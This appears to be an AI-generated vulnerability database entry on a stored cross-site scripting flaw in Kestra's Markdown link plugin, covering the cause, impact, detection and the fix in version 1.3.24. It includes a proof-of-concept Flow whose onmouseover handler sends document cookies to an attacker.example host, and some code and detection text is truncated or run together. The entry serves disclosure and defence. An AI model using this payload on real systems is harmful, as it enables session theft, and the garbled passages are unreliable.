
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-55839 is a stored cross-site scripting (XSS) vulnerability in Kestra, an open-source event-driven orchestration platform. The flaw exists in Kestra's custom Markdown parser (ui/src/utils/markdown_plugins/link.ts), which allows a user with Flow create/update permissions to inject JavaScript event-handler attributes via the custom [[link]] syntax into Flow descriptions. All versions prior to 1.3.24 are affected (confirmed tested on 1.3.22). The vulnerability was published on August 18, 2026, with a CVSS v3.1 base score of 8.7 (High) (Github Advisory, Kestra Security Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). Kestra's custom Markdown link plugin parses [[link ...]] syntax and renders all parsed token attributes directly into raw HTML without any allowlisting or sanitization, as shown in the vulnerable code path:
const attrs = token.attrs ? token.attrs.map(([name, value]) => `${name}="${value}"`).join("") : "";
return ``;This allows an attacker to inject arbitrary HTML attributes — including JavaScript event handlers such as onmouseover, onclick, or onfocus — into the rendered element. The payload is stored in the Flow description field and executes when any other user views the Flow list or opens the description/info panel, without requiring the Flow to be executed. The attack requires low privileges (Flow create/update permission) and user interaction from the victim (Kestra Security Advisory, Github Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any Kestra user who views the affected Flow description or information panel. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim within the Kestra UI, and access to data visible to the victim. In multi-user deployments, a lower-privileged Flow author could target administrators or operators, potentially enabling privilege escalation or lateral movement into more privileged namespaces and administrative functionality. Availability is not directly impacted (Kestra Security Advisory, Github Advisory).
A proof-of-concept payload is publicly documented in the GitHub Security Advisory, demonstrating that a minimal [[link]] payload with injected event-handler attributes triggers JavaScript execution in the victim's browser. There is no evidence of in-the-wild exploitation or threat actor attribution at this time. The vulnerability is not listed in the CISA KEV catalog, and NVD SSVC data indicates no known exploitation. The EPSS score is approximately 0.302% (22nd percentile), reflecting a low but non-negligible probability of exploitation in the near term (Github Advisory, Kestra Security Advisory).
[[link]] payload injecting a JavaScript event handler into the description field:id: malicious_flow
namespace: company.team
description: |
[[link x="y" style="position:fixed;inset:0;z-index:9999;background:rgba(255,0,0,0.05)" onmouseover="fetch('https://attacker.example/steal?c='+document.cookie)"]]
tasks:
- id: hello
type: io.kestra.plugin.core.log.Log
message: hello/ui/main/flows and opens the description/info panel for the malicious Flow, the injected event handler fires.[[link syntax with attributes beyond execution, flowId, or namespace in the description field.[[link tokens with on* event-handler attributes (e.g., onmouseover, onclick, onfocus) or style attributes with suspicious values such as position:fixed or high z-index.alert() dialogs or console errors referencing document.domain or document.cookie when browsing the Kestra Flow list page.Upgrade Kestra to version 1.3.24 or later, which resolves the issue by allowlisting only safe attributes (execution, flowId, namespace) in the [[link]] token renderer and rendering router-md elements as standard anchors via linkify (Kestra Release v1.3.24, Fix PR #16835). As interim mitigations: restrict Flow create/update permissions to trusted users only; audit existing Flow descriptions for suspicious [[link]] payloads containing on* attributes or unusual style values; and implement a strict Content Security Policy (CSP) header to limit the impact of any XSS execution. There is no configuration-based workaround that fully prevents the vulnerability without upgrading.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."